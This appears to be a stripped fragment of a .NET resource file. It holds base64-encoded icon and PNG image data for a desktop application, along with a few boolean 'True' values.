dmxwnHDSc0pwOub0wtnEme/c5jznYuOy3uW8K+Lq4Vro2u8m4xbiVun22F3dPc692X3Gw8Jjncd5T7Sn + t+duz2EvZS+WV6PXzAqrFetX9HiTvIO8K72f+Oj78H26fGHfFb57fB+u1FrJW9nhB/y8/Pb4PfLX8U/z + /z4AE+AfUBXwNNA0MDewN4gSFBXUFPQm2Dm4JPhBiG6IMKQ7VDI0MrQxdC7MNaw0bGSV8ar1q66HK4Rz + wzsjsBGhEQ0Rs6vdVu9dPR5pEVkQObRGZ03WmqtrFdYmrT0TJRnFjDoZjY4Oi26K/sD0Y9YxZ2O8Yqpj + ZlgurH2s52xHdhl7imPHKeVMxNrFlsZOxtnF7YmbineIL4+f5rpwK7kvEzwTahLmEv0SjyQuJIUltSbj + kqOTT/FkeIm8nhSVlKyUgVSD1ILUkTSbtL1pM3xvfkM6lL4mvVNAFf1M9Ql1hVuFoxn2GVUZbzNDM09m + SWfxsvqy9bN3ZE/kuOd8vQ61jrWuO1ctd3Pu6Hqn9bUboA0xG7o3amzM3zi+yWPT0c2EzYmbf8gzySvN + e70lbEtXvnL+pvyxrR5bmwskCvgFw9tst9VsR23nbu/fYb5j/45PhezCa0UmReVFH4pZxde+Mv2q4quF + nbE7+0ssSw7uwuzi7Rra7bD7aKl0aU7p2B7fPe1l9LLCstd7o/ZeLV9WXrOPsE+4b6TCp6Jzv+b+Xfs/ + VMZX3qlyrmqtVqreUT13gH1g8KDjwZYa5ZqimveHuIfu1nrUttdp15UfxhzOOPy0PrS+92vG140NCg1F + DR+P8I6MHA082tNo1djYpNRU0gw3C5unjkUeu/mN6zedLYYtta201qLj4Ljw+LNvo78dOuF9ovsk42TL + d1rfVbdR2grbofbs9pmO+I6RzvDOgVMrTnV32Xa1fW/0/ZHTaqerzsieKTlLOJt/duFczrnZ86nnpy/E + XRjrjup+cHHVxds9AT39l7wvXbnsfvlir1PvuSt2V05ftbl66hrjWsd1y+vtfRZ9bT9Y/NDWb9nffsPq + RudN65tdA8sHzg46DF645Xrr8m2v29fvrLwzMBQydHc4cnjkLvvu5L2key/vZ9yff7DpIfph4SOpR+WP + lR7X/aj3Y+uI5ciZUdfRvidBTx6Mscae/5T+04fx/Kfkp+UTqhONk2aTp6fcp24+W/1s/Hnq8/npgp+l + f65+ofviu18cf+mbWTUz/pL/cuHX4lfyr468Xva6e9Z/9vGb5Dfzc4Vv5d8efcd41/s+7P3EfOYH7IeK + j3ofuz55f3q4kLyw8Bv3hPP74uYdwgAAAAlwSFlzAAALDAAACwwBP0AiyAAAAEBJREFUOE+dy8ENACAI + xVD235M5vngzsYcqyTvQQCX5htHCaGG0MFoYLYzWufQws++u52cYLYwWRgujhdHC6KQWWVerPRi0MlwA + AAAASUVORK5CYII= + + + + + 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 + AAAASUVORK5CYII= + + + + True + + + True + + + True + + + True + + + True + + + True + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAgBAMQOAADEDgAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8b/34/VP9+P3//fj+m/34/zP9+ + P+T/fj/1/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/6/34/7v9+P93/fj/M/34/pv9+P3//fj9U/34/GwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+ + PzP/fj+Q/34/2/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/2/9+P5D/fj8zAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/Df9+P3T/fj/W/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/W/34/dP9+Pw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/EP9+P4D/fj/t/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/7f9+ + P4H/fj8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/34/Af9+P2H/fj/r/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P+v/fj9h/34/AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PyT/fj/E/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/E/34/IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/fj9V/34/8f9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/x/34/VQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8B/34/jP9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/jP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Bv9+ + P6X/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34/pf9+PwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pwb/fj+3/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4BC//+DRv//iU///4xU//+PWf//klz//5Nf//+WYv//lmP//5dk//+X + ZP//l2X//5dl//+WY///lF///5Jd//+QWf//jVb//4lQ//+FSv//gUT//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/t/9+PwYAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8B/34/pP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+CRP//ilD//5Jc//+bav//onX//6h9//+vh///uJb//8Sn///P + t///18P//9zL///g0f//5Nb//+fc///p3v//6t///+rg///q4P//6t///+ne///m2f//4dP//93N///Z + x///0Lr//8aq//+6mf//sYr//6qB//+keP//nW3//5Zj//+NVv//h0z//4BC//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/pP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P4r/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEf//45X//+aaf//qoD//76f///T + vf//5dj//+/n///18P//+vj///37///+/f///fz///79///+/v///v7////+/////v////7///////// + /v////7//////////v/////////+/////v////7////+///+/v///v7///7+///9+///+vj///f0///y + 7P//6d///9zL///Lsf//uJX//6Z7//+ZaP//jVb//4JF//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/iwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj9V/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+D + Rv//kFr//6Z6///Aov//28n//+7l///59v///fz////+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////v///v7///79///9/f//+PX//+7l///a + yP//vp7//6R3//+QWv//hUn//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/VQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/I/9+P/D/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4BB//+JUP//oHH//7+f///g0P//9O////z7/////v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////7///7+///9/f//9vL//+PV///EqP//pnr//45X//+C + RP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/w/34/IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj/E/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4BB//+KUf//p33//9G7///w + 6P///Pr///7+//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7///38///07///2cf//7ON//+UX///gkX//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/E/34/AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/Yf9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39B//+JUP//pXr//9jE///49P///v7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////7////////+ + /f//+fX//+LT//+6mf//k1///4JE//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj9hAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PxD/fj/q/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+FSv//oHH//862///18P////7///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+/////v///////////////////v7///n3///g0P//soz//4xT//9/ + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P+r/fj8SAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/f/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+A + Qv//j1n//7ua///s4////f3///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////7///7+///28v//0r3//59x//+FSv//f0D//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4AAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pw3/fj/u/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///gUT//5pp///Vwf//+fb////+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////////////////+ + /f//7OL//7iV//+OVv//f0H//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/7v9+ + Pw0AAAAAAAAAAAAAAAAAAAAA/34/dP9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4VJ//+k + eP//4tT///79//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////+/f//9vH//8yz//+XZP//gEH//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/dAAAAAAAAAAAAAAAAP9+PwH/fj/b/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+FSv//rYT//+ne///+/f////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////v//+/j//9vK//+ca///gkT//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/b/34/AQAAAAAAAAAA/34/O/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///g0f//6yD///s + 4v///v3//////////////v7///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v///v7//+PV//+k + d///g0b//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj87AAAAAAAAAAD/fj+Q/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4RH//+off//6uD///7+/////v/////////////+/v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7////+/////v///fv//+PW//+idf//gUP//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P5AAAAAAAAAAAP9+P9j/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+AQf//nm7//+TX///9 + /f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////v7////+//// + /v///fz//+PV//+ebv//gUT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/2QAAAAD/fj8d/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///45W///SvP///Pv///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + 